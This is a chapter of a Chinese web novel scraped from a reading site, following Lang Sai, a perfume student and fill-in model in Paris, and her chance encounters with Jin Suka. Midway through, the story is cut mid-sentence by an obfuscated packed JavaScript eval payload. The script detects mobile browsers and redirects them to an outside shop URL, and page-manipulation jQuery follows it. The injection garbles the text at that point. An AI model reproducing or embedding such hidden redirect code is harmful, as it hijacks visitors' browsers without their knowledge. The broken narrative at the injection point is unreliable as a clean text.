默认冷灰
24号文字
方正启体

9. 无人区玫瑰_09

作者:各度秋色本书字数:K更新时间:
    郎赛是在一年前认识的安德烈。


    那会,她刚到法国,还是长发。


    开学前,她从南法来巴黎找兼职,开始她经济独立的第一次尝试。


    可能是从小到大都没在那个家里得到过安全感,也很清楚那个家的一切都不属于自己,又也许,她并不想再从郎华声的嘴里听到那句“你真是丢光了我的脸”。


    倒不是因为“想获得父亲的认可”这种无用的东西,而是她不希望自己的人生再掌握在他人的手里,不希望自己的尊严再被随意践踏。


    最不想,一颗赤忱热烈的真心捧了出去,最后却遍体鳞伤的拿回来,碰一下都会疼个半死,以至于修复都无从下手。


    却又因为养育之恩,连发脾气的资格也没有,只能自吃委屈与所有的暗亏。


    慢慢的,她连和别人建立正常的亲密关系都变得困难。


    夏西宁总说她:“总感觉和你熟不起来。”


    可脾性这种东西,十八岁再想改,已经太晚了。


    这是因果循环没有回头路的无底洞,她只能在这样的框架上一条道走到黑,唯一能做的,是在黑夜里点根仙女棒,给自己助个兴。


    都说悲惨的童年要用一生去弥补,那就补呗,好歹人生有事可做,苦中作乐怎么不算乐?


    这世上,谁都有满腹的委屈,她也不过是其中之一,既不特别,更不特殊。


    人要学会往前走。


    但谁敢拦着她往前走,她就和谁翻脸。


    所以成年后的第一件事,她希望夺回自己人生的主导权,然后,一点一点地和郎家划清界限。


    以至于父亲让她给出答复说要去哪个国家留学时。


    她说:“法国。”


    郎华声夹着雪茄的手顿了顿,透过烟丝袅袅,他坐在沙发上抬起头,看向站在茶几前的她,随后掸了掸烟灰:“也好。”


    也好。


    因为本来,他们就是从巴黎的一家孤儿院把她带回家的,从哪里来的就回哪里去。


    而且去法国的话,连一对一的法语老师都不用再费心找了,省事很多。


    这个大女儿,一向很让人省心。


    所以郎华声说:“也好。”


    她来巴黎时,主要是想找和香水行业相关的工作,比如找有没有香水工坊在招助理,只是面试的时候,面试官却经常出现变脸现场:


    面试官扬起一个微笑:“哇塞,你是GIP的学生!”


    郎赛点点头,觉得稳了。


    下一秒,面试官收起笑容,冷冷道:“你怎么才上了三个月的学?!”


    郎赛抿嘴,知道又完蛋了。


    投了快有一百份简历,基本上都石沉大海,在巴黎碰了一鼻子灰后,她已经下定决心去找个餐馆端盘子了。


    有赖于欧洲完善的福利制度,和勤快能干、无时无刻不紧绷着一根弦的美国人不一样,法国人大多都懒洋洋的,所以在法国端盘子,其实收入还不错。


    只是这样对职业规划没什么简历上的帮助罢了。


    不过在生计面前,职业规划什么的,一下子就变得无足轻重。


    她下定决心后就打算回家,走在香榭丽舍大街上,却突然刷到一家杂志社在招平面模特,点开瞧了一眼,结果发现自己居然满足了身高条件。


    做模特有身高要求,虽然郎赛裸身高有1.72,但在欧美,尤其还是模特圈,这个身高其实还是有些矮小了。


    以至于难得碰到一家满足身高条件的杂志社,她稍稍愣了一下,想着试一下也不亏,人家货比三家之后肯定还是会找专业模特而淘汰她。


    死马当活马医吧。


    杂志社的装修非常巴黎,推开门进去才发现里面并不大,几张凌乱的、铺满了纸张和放了iPad的桌面。


    再往里走一点,就是摄影棚,摄影师似乎正在找角度,但试了几次,都不满意,于是就让模特走人了。


    摄影师是个典型的法国人,转头出来时,刚好看到安静站在一旁的郎赛。


    梳着高马尾的东方女孩,冷白皮在窗外洒进来的阳光下白得发光,个子高挑,背着单肩包的气质冷艳、优雅又犀利。


    摄影师顿了一下,随后走到她的面前,拿起相机,咔嚓两下,看着被自己定格下的镜头,那个法国男人笑了。


    “你通过面试了。”


    郎赛微微一怔,琥珀色的瞳孔微微扩张了一下,似乎有些不可思议,但只一瞬,便恢复了平静。


    这就过了?


    但她终究没有把她的惊讶宣之于口,只是点点头:“好的。”


    那个摄影师就是安德烈。


    三个月前,她从中国回到法国,再次走进杂志社,安德烈看到许久不见的她,首先就注意到了她那头丑的要死又没型的短发,然后才故作惊讶地问她这几个月都去哪了,怎么一下子消失不见,怪让他心慌的。


    郎赛却沉默不语,从桌上拎起一把剪刀递给他:“你之前不是说你是造型师吗?”


    安德烈:“对啊,做摄影师之前,我可是纪梵希的造型师!”


    “那帮我修个适合我的型吧。”


    安德烈看着她死一般寂静的眼眸,这个一贯话很多的法国男人安静下来,沉默地接过了那把剪刀。


    死刑还是新生,其实从选择了发型师的那一刻就决定好了。


    最后的结果表明,她赌赢了。


    她看着镜子中短发的自己:就好像是修剪完毕的枝丫,把自身冗余的那部分去掉了,于是剩下的,是更加干净利落的自己。


    郎赛看着镜子里的自己,笑了:“不愧是纪梵希的前造型师呢。”


    安德烈耸耸肩,“哼”了一声。


    于是短发陪着她,一直来到三个月后的今天。


    起初她只是做做平面模特,直到有一天安德烈给她打电话喊她来一个时尚沙龙救场,她硬着头皮上了,结果意外地不错。


    巴黎这边又三天两头的秀,慢慢的,她偶尔也会被安德烈拉去给一些沙龙救场,当然,大场面是轮不到她的,有Suckow在的大场面更是轮不到她,毕竟他在的地方,超模都要挤破脑袋进去。


    安德烈调侃她是巴黎模特界的“备用模特”。


    郎赛也只是笑笑,不做评价。


    搭地铁回到巴黎第一区,出地铁站的时候才发现雪下得很大。


    手机又有消息来。


    她低头看,却愣了一下。


    推特突然出现了一个小红点,这意味着有人给她发了私信。


    可是她基本上不用推特,列表也只关注过几个工作室的人,那些人根本不屑主动给她发消息,如果有消息,那么就只能是一个人。


    可是,都过去这么久了,他还记得她吗?


    她点开,果不其然。


    【Keith】:今天打算怎么过?


    顿了顿,郎赛敲字。


    【Rosie】:在秀场过


    【Keith】:好可怜


    然后就没有然后了。


    郎赛:“……”


    这风格,很Keith了。


    冬夜还是有些冷,她裹紧了自己的羽绒服,顾不得多想,便扛着包跑入雪夜,往目的地狂奔,耳朵被这大雪冻得通红,随着喘气呼出一阵又一阵白雾。


    偏偏这么冷的天,莎玛丽丹的顶楼正在举行“Moment”品牌时装秀。


    巴黎的秀很多,但今年格外多,这都是多亏了Suckow那奇怪的癖好,就连周五都不放过,法国小懒蛋们可最不爱工作了。


    郎赛也有点忐忑,虽然她经常跑去救场,但今天这种规模的时装秀,放平时根本就轮不到她,尤其还有大名鼎鼎的Suckow在场。


    毕竟他在的地方,所有人都削尖了脑袋去拿入场券,超模都得排队,根本没有她需要救场的机会。


    最重要的是,这次她要顶替的,是最近半年来,时尚圈风头最劲的华裔模特梅酒冬,一个从脸蛋到身材、身材到气质、气质到台风、台风到名字都性感得不可方物的华裔超模。


    想让自己的表现比肩职业模特不太可能,更何况还是以超稳台风著称的国际超模梅酒冬。


    郎赛只求自己别出错就好。


    怀着这样忐忑的心思换上衣服,还没开场,但已经略显忙碌的秀场后台,金发碧眼的模特还有空聊着Suckow的八卦。


    听刚刚聚餐时萧艾荧的意思,Suckow就是靳苏考?


    地球真圆。


    她想。


    最巧的是两个小时前他还靠过她的肩膀,用狡黠的语气调侃她“已读不回”。


    想到那一幕,郎赛忍俊不禁地扯了一下嘴角。


    世事无常啊,没想到这个糟糕无比的星期五,唯一让她拥有一点好心情的,是这样一个陌生人。


    念高中那会,她高一,靳苏考已经高三了,但她仍旧一入校就听说了靳苏考的大名。


    高三最有名的两个男生——靳苏考和姜约西。


    两人都是长得帅、成绩好、家世显赫的那种男生,又都一股痞子样,所以很招女生喜欢,德森的富二代很多,但富有程度也有排名。


    靳苏考无疑是最顶层的那个,没人知道他家在美国到底是做什么发家的,从百度到维基,凡是能搜到的,都是靳家想让人知道的。


    只知道很有钱,而且从他爷爷那一辈就很有钱。


    靳苏考和姜约西关系铁是全校都知道的,高中总是会有一些让人忘不掉的校园名人,郎赛算一个,不过那是后来的事情。


    而在她之前,是靳苏考和姜约西的时代。


    只是一个是出了名的花花公子,另一个却是出了名的难泡。


    靳苏考是后者。


    在他俩还没毕业之前,班里女生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525901|203496||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    最喜欢八卦的就是靳苏考家养了几只狗,养的是德牧还是金毛。


    高中那会,攀比之风盛行,鞋子、衣服、首饰……


    当然,有没有靳苏考的微信也是一个攀比项目。


    这么多年了,从德森到巴黎,学长你还真是魅力不减当年,走到哪里都是风向标和话题。


    想到这些尘封已久的往事,她叹了口气,拿起一个羽毛发饰,看着镜子往头发上戴。


    安德烈就在这个时候走进了忙碌的后台。


    进来就是一句“亲爱的,Iamsosososorry!”


    郎赛戴发饰的手一顿,透过镜子,与里面的安德烈四目相对一瞬,对方非常抱歉的耸了耸肩。


    十分钟后。


    郎赛裹着羽绒服拿着包,站在后台的门口,安德烈双手合十抵在额前。


    “抱歉,Salen,我真的不是故意让你白跑一趟的,真的就是超级刚刚好,你刚换好衣服,埃德蒙就接到了电话,说Mavis那边的事情解决了,可以按时到场。”


    埃德蒙就是这次时装秀的负责人,而Mavis则是梅酒冬。


    其实一年来,她在香水校际已经小有名气,找一些香水工坊的工作不成问题,现在手头上也有balance的工作在做,所以已经不需要再去做模特来维持生计了,只是安德烈对她有雪中送炭的情谊,所以安德烈的忙,她只要有时间,一般都不会拒绝。


    郎赛呼出一口白雾:“放松点,没事的,我还不至于因为这点事就生气,既然事情解决了我就先回去了。”


    “不介意的话等我半个小时,等秀结束了我请你吃饭?”安德烈盛情邀约,“毕竟这次真的是太抱歉了。”


    “不了,比起丰盛的晚餐,我现在更想念我的床。”她来法国一年,经常在巴黎和格拉斯两地跑,帮她最多的就是安德烈,一个小小的乌龙而已,更何况可以不用她这个业余模特上场,她其实微微松了一口气,不至于因为这样小的事就闹别扭。


    最重要的是,今天她身心俱疲,已经没有力气再应付一顿晚饭,她现在只想回家大睡一场。


    安德烈和她比了个“OK”的手势,刚好他的负责人朋友喊他,他和郎赛打了个招呼就匆忙离开。


    郎赛从后台出来,依旧走了VIP通道,下到大楼一层,一辆黑色的超跑“嚓”一声刹停在门口,随后一排黑衣保镖围上去。


    郎赛被人流挤到一边。


    车上下来一个年轻男人和一个年轻女人。


    两张漂亮到有些犯规的皮囊。


    女生穿得很少,里面红色长裙、羊皮靴,外面套一件短款的黑色皮衣,栗色的大波浪卷在风中飘扬。


    这是梅酒冬。


    男生大约一米八几的个子,个高腿长,身形优越,五官更优越,惹得路人频频回头。双手抄在外套兜里,站在路边,风把他的头发吹起,又把他的耳朵吹红。


    这是靳苏考。


    那部爱情电影一个半小时,算算时间……


    他可能又在电影院睡了一觉吧。


    郎赛这样猜。


    俊男靓女,再加上Suckow在巴黎“万花丛中过,片叶不沾身”的传闻,郎赛情不自禁又开始猜两人的关系。


    雪夜里,女生挽住他的胳膊,踮起脚尖凑他耳边说些什么,他配合地低下头,不知道梅酒冬说了些什么,几秒后,靳苏考嘴角泛起漫不经心的笑容。


    郎赛走出门,风把她的短发吹得凌乱起来,她抬手扯了扯自己灰色的冷帽。


    他的视线突然往郎赛的方向投来。


    隔着墨镜,他看到一个把羽绒服穿得很时髦的女孩,短发微卷,凌乱地别在耳后几簇。


    看起来有些眼熟,他歪头想了几秒,微微一笑,哦,刚刚在电影院见过。


    他还认错了人。


    墨镜架在她高挺的鼻梁上看不到眼睛,看起来漂亮的不可思议,嘴里的口香糖在这时吹起一个泡泡,又“噗”一声平淡地爆破,比巴黎的雪还安静。


    他记得她身上很香,就是太瘦了,所以肩膀有点硌人。


    他的目光在她身上放的稍久了一些,久到梅酒冬也察觉了异样,杏眸远眺,越过人群,飘落在她的身上,随后,单侧眉向上轻轻一挑。


    哟,巧成这样。


    刚刚在酒吧的疑问也得到了答案——看来这位不是个赛车手,而是她的模特同行,只是没名气,所以她才没见过。


    只是长成这样,不应该啊。


    隔着黑衣保镖,两人四目相对一瞬,短暂交接后,郎赛率先收回视线。


    几秒后,靳苏考也收回视线。


    梅酒冬观察着他的表情:“怎么了?”


    “没什么。”他回。


    靳苏考语气懒洋洋的,唇间逸出一丝琢磨不通用意的轻笑:


    “还以为见到了一见钟情的人。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)